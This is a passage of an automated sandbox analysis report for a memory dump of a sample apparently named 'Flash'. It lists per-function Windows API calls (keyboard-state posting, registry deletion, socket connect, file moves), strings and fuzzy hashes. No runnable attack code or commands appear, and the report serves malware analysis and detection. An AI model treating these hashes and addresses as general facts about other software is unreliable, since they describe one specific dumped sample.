PostMessageW.USER32(?,00000101,00000010,?), ref: 00A3182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 00A3184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00A31894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00A318B7

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: a27e7981174973d39c156c9c16c7090c4fa63b30c1b22a694d5348b420ca07ce
Instruction ID: 373fe0795e3257969a12a45a387400dbf5133fa3ed0d04b30203fd18f725e75a
Opcode Fuzzy Hash: a27e7981174973d39c156c9c16c7090c4fa63b30c1b22a694d5348b420ca07ce
Instruction Fuzzy Hash: 3651D3A0A087D53EFB368734CC55BBABEE95B06700F0C8989F0D5468C2D2D8ACD5DB60

Function 00A31565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00A315A4
GetKeyboardState.USER32(?), ref: 00A315B9
SetKeyboardState.USER32(?), ref: 00A3161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00A31646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00A31663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00A316A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00A316C8

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 39ac19f5b7533d28bc4a75dee11be7111d85e0a74eebde27955a4fb288d591df
Instruction ID: 2acaab2212125527ba7cfc4c47195e0b851df1d747dceae02249e1e4743fc8a3
Opcode Fuzzy Hash: 39ac19f5b7533d28bc4a75dee11be7111d85e0a74eebde27955a4fb288d591df
Instruction Fuzzy Hash: B05106A0A047D53DFB328774CC56BBABEA95B06300F0C8589F0D9568C3D794EC99EB61

Function 00A35BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00A35BC5
_wcsncpy.LIBCMT ref: 00A35BFA
_wcsncpy.LIBCMT ref: 00A35C2C
_wcsncpy.LIBCMT ref: 00A35C5F
_wcsncpy.LIBCMT ref: 00A35CA1
_wcsncpy.LIBCMT ref: 00A35CDB
_wcsncpy.LIBCMT ref: 00A35D0A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: ee820f6f9f0541ef99e9bf71b95587edab680fd453632c6f264e1d4ecc3d2207
Instruction ID: e901ce7888ba531bb59652956cb97f43720c69a8e9d643feb6d46ef4ad44b60e
Opcode Fuzzy Hash: ee820f6f9f0541ef99e9bf71b95587edab680fd453632c6f264e1d4ecc3d2207
Instruction Fuzzy Hash: F641B0A6C6161C75CB11FBB8CC4ABDFB3B8AF44310F508866FA19E3121E634A315C3A5

Function 00A33B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A34BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A33B8A,?), ref: 00A34BE0

Part of subcall function 00A34BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A33B8A,?), ref: 00A34BF9

lstrcmpiW.KERNEL32(?,?), ref: 00A33BAA
_wcscmp.LIBCMT ref: 00A33BC6
MoveFileW.KERNEL32(?,?), ref: 00A33BDE
_wcscat.LIBCMT ref: 00A33C26
SHFileOperationW.SHELL32(?), ref: 00A33C92

Strings

\*.*, xrefs: 00A33C20

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: cb34b5c689eeae8095097fd2109ce2502650a2b5d03007a5e1c6ef259e4c0379
Instruction ID: fc4680268201e37210a1ec41f1d23d91b7f88402e5d46fcb760949e0f7eec444
Opcode Fuzzy Hash: cb34b5c689eeae8095097fd2109ce2502650a2b5d03007a5e1c6ef259e4c0379
Instruction Fuzzy Hash: 41418D7250C344AACB52EF64D485AEFB7ECAF88340F50192EF58AC3191EB34D688C752

Function 00A578B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A578CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A57976
IsMenu.USER32(?), ref: 00A5798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A579D6
DrawMenuBar.USER32 ref: 00A579E9

Strings

0, xrefs: 00A578C3

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: c78043fbe9c795c1cf6f10083ceb3fe4df5711c32c411f63fc0f5f758d0cbde8
Instruction ID: 25d2d638bcb6ac215c549495b74964ccd0f1532318acfbe675e20403f1ea88c8
Opcode Fuzzy Hash: c78043fbe9c795c1cf6f10083ceb3fe4df5711c32c411f63fc0f5f758d0cbde8
Instruction Fuzzy Hash: 38414975A08209EFDB20DF94E884EAEBBF9FB05351F048129ED55A7250C770AD94CFA0

Function 00A51602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00A51631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A5165B
FreeLibrary.KERNEL32(00000000), ref: 00A51712

Part of subcall function 00A51602: RegCloseKey.ADVAPI32(?), ref: 00A51678
Part of subcall function 00A51602: FreeLibrary.KERNEL32(?), ref: 00A516CA
Part of subcall function 00A51602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00A516ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 00A516B5

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: b4c1b9917a7d724f1ce987eae5e6ddd128a2b5d24df69660fd033de2f281c582
Instruction ID: c3e50512196a6c32cce38a959060d192dafb64ce7134087122569e6b737013bf
Opcode Fuzzy Hash: b4c1b9917a7d724f1ce987eae5e6ddd128a2b5d24df69660fd033de2f281c582
Instruction Fuzzy Hash: C4310CB1901109BFDB15DBD4DC89EFFB7BCFF08301F040569E912A2150EAB49E899AA0

Function 00A568F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00A56911
GetWindowLongW.USER32(00F653B8,000000F0), ref: 00A56944
GetWindowLongW.USER32(00F653B8,000000F0), ref: 00A56979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00A569AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00A569D5
GetWindowLongW.USER32(?,000000F0), ref: 00A569E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A56A00

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 3b6ca201116f72a971f81ac915fc217bdf40df7414c4f0a6683bf35f370bdacb
Instruction ID: 63cfe0747dbd60fb4367735c351213b4900e0e583a116845da1dab6cb3d036ef
Opcode Fuzzy Hash: 3b6ca201116f72a971f81ac915fc217bdf40df7414c4f0a6683bf35f370bdacb
Instruction Fuzzy Hash: 74313534604150EFDB21CF98DC88F6937E1FB59352F5841A5FA058B2B2CBB1AC89CB50

Function 00A2E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A2E2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A2E2F0
SysAllocString.OLEAUT32(00000000), ref: 00A2E2F3
SysAllocString.OLEAUT32(?), ref: 00A2E311
SysFreeString.OLEAUT32(?), ref: 00A2E31A
StringFromGUID2.OLE32(?,?,00000028), ref: 00A2E33F
SysAllocString.OLEAUT32(?), ref: 00A2E34D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 24c166c43f8a76acbdaac8275a94b1ef8ede657df16de71014f46346865ea3b9
Instruction ID: 9bb1514fbc551c62800adbc16a4d61ff257b2bc63683b8164607ec53c4f9c340
Opcode Fuzzy Hash: 24c166c43f8a76acbdaac8275a94b1ef8ede657df16de71014f46346865ea3b9
Instruction Fuzzy Hash: 12216576604219BF9F10DFACDC88DBB77BCEB09360B448125FA15DB250DAB0ADC58760

Function 00A4685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A48475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00A484A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00A468B1
WSAGetLastError.WSOCK32(00000000), ref: 00A468C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00A468F9
connect.WSOCK32(00000000,?,00000010), ref: 00A46902
WSAGetLastError.WSOCK32 ref: 00A4690C
closesocket.WSOCK32(00000000), ref: 00A46935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00A4694E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 1b8e5518329c9883c2f0a0ba89006bb2395b0fef2ef5c5e46bb69dc77f0e72f2
Instruction ID: 28d9f1cdeb767115044b710522bae8d4c04b5aeaca767b05ba7b7d6d2528d053
Opcode Fuzzy Hash: 1b8e5518329c9883c2f0a0ba89006bb2395b0fef2ef5c5e46bb69dc77f0e72f2
Instruction Fuzzy Hash: E031C475600218AFDB10DF64DC85FBE77B9EB85721F048029FD05AB291CBB4AC458BA2

Function 00A2E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A2E3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A2E3CB
SysAllocString.OLEAUT32(00000000), ref: 00A2E3CE
SysAllocString.OLEAUT32 ref: 00A2E3EF
SysFreeString.OLEAUT32 ref: 00A2E3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 00A2E412
SysAllocString.OLEAUT32(?), ref: 00A2E420

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: baf77d36a9208a66a95572cd145164f5439778988bfae680941239c032d7d4b2
Instruction ID: fc83c7a76de358931c508573b4a3b1439d911301d0418f8f07ede1c6ed355bc6
Opcode Fuzzy Hash: baf77d36a9208a66a95572cd145164f5439778988bfae680941239c032d7d4b2
Instruction Fuzzy Hash: 24214735604114AF9B10EFACEC88DAF77ECEB493607048535FA15CB261DAB1ECC18764

Function 00A57BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009D2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 009D214F
Part of subcall function 009D2111: GetStockObject.GDI32(00000011), ref: 009D2163
Part of subcall function 009D2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 009D216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00A57C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00A57C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00A57C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00A57C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00A57C8A

Strings

Msctls_Progress32, xrefs: 00A57C28

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: d183e43bfcbf05212857762a8964d2323e2cb2620faec602fdcad8ce1b1e6dff
Instruction ID: 2fbfc6ab4827732463b1e6a84c9a8cc028cb6176ed82c86c5c91570ebc400ac2
Opcode Fuzzy Hash: d183e43bfcbf05212857762a8964d2323e2cb2620faec602fdcad8ce1b1e6dff
Instruction Fuzzy Hash: A011B6B1150219BEEF159F60CC85EEB7F6DFF08758F014115FA04A2050C771AC21DBA4

Function 009F41B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,009F4282,?), ref: 009F41D3
GetProcAddress.KERNEL32(00000000), ref: 009F41DA
EncodePointer.KERNEL32(00000000), ref: 009F41E6
DecodePointer.KERNEL32(00000001,009F4282,?), ref: 009F4203

Strings

combase.dll, xrefs: 009F41CE
RoInitialize, xrefs: 009F41C2

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 9ebc56fcdbf4df09c0569608c0f53b1e2bef4f6068a8787f7330f5cb7e5598c6
Instruction ID: 7b520028467e12a7ed53a02435803470922460f57243171de7d23cc43184626e
Opcode Fuzzy Hash: 9ebc56fcdbf4df09c0569608c0f53b1e2bef4f6068a8787f7330f5cb7e5598c6
Instruction Fuzzy Hash: 47E0E5B0B90701AFEA11ABF0ED4EB5A3AB8BB11B06F604A25F501D91A0CBF550878F00

Function 009F428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,009F41A8), ref: 009F42A8
GetProcAddress.KERNEL32(00000000), ref: 009F42AF
EncodePointer.KERNEL32(00000000), ref: 009F42BA
DecodePointer.KERNEL32(009F41A8), ref: 009F42D5

Strings

combase.dll, xrefs: 009F42A3
RoUninitialize, xrefs: 009F4297

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 8a920b1741a4f33215e0d90f5858a290add0acfa90c2980d0945d007bee5a439
Instruction ID: 54d4132786287ab557d84285f40e9ef1986ece9a7726d658df78173196bc2833
Opcode Fuzzy Hash: 8a920b1741a4f33215e0d90f5858a290add0acfa90c2980d0945d007bee5a439
Instruction Fuzzy Hash: 5BE0BFB0A50700EBDB12EBF1AD0EF563A78B700742F600615F101D51B0CFF4454ACB14

Function 009D218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 009D21B8
GetWindowRect.USER32(?,?), ref: 009D21F9
ScreenToClient.USER32(?,?), ref: 009D2221
GetClientRect.USER32(?,?), ref: 009D2350
GetWindowRect.USER32(?,?), ref: 009D2369

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 073b95d3ca216446e9a032fa22d91ac14bd51bbb35d042be9a8f6ede288d7921
Instruction ID: d9ca6740d15d94e3c5e46fff2bfc7cc2047ac864b59a9353adbde756f86e9d93
Opcode Fuzzy Hash: 073b95d3ca216446e9a032fa22d91ac14bd51bbb35d042be9a8f6ede288d7921
Instruction Fuzzy Hash: 0EB1493990024ADBDB14CFA8C5807EEB7B1FF18710F14852AED69AB354DB74AA50CB64

Function 00A36A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A36BC6
_memmove.LIBCMT ref: 00A36B01

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

_memmove.LIBCMT ref: 00A36B74
_memmove.LIBCMT ref: 00A36C5B
_memmove.LIBCMT ref: 00A36C74
_memmove.LIBCMT ref: 00A36C90

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction ID: a6cbd2b4d898c8832b26fcc0d44e6daccec803ef3e49276cb481a17fdec7cd81
Opcode Fuzzy Hash: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction Fuzzy Hash: 7461E23150029AABCF11EF64CC86FFE77A9EF85308F048559F9559B2A2DB30AD05CB90

Function 00A50844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A5147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A5040D,?,?), ref: 00A51491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A5091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A5095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00A50980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00A509A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00A509EC
RegCloseKey.ADVAPI32(00000000), ref: 00A509F9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: f83cecee2274768305850004b5c618686d11ea7a34799d69c7c1896f2c16bdd2
Instruction ID: 57af63e158cb94e5539ed5a0db6faf1643fb64f5019d4ac4159f180f960d8abc
Opcode Fuzzy Hash: f83cecee2274768305850004b5c618686d11ea7a34799d69c7c1896f2c16bdd2
Instruction Fuzzy Hash: DD515671208244EFD711EF64C885E6FBBB9FF84310F044919F995872A2DB31E949CB92

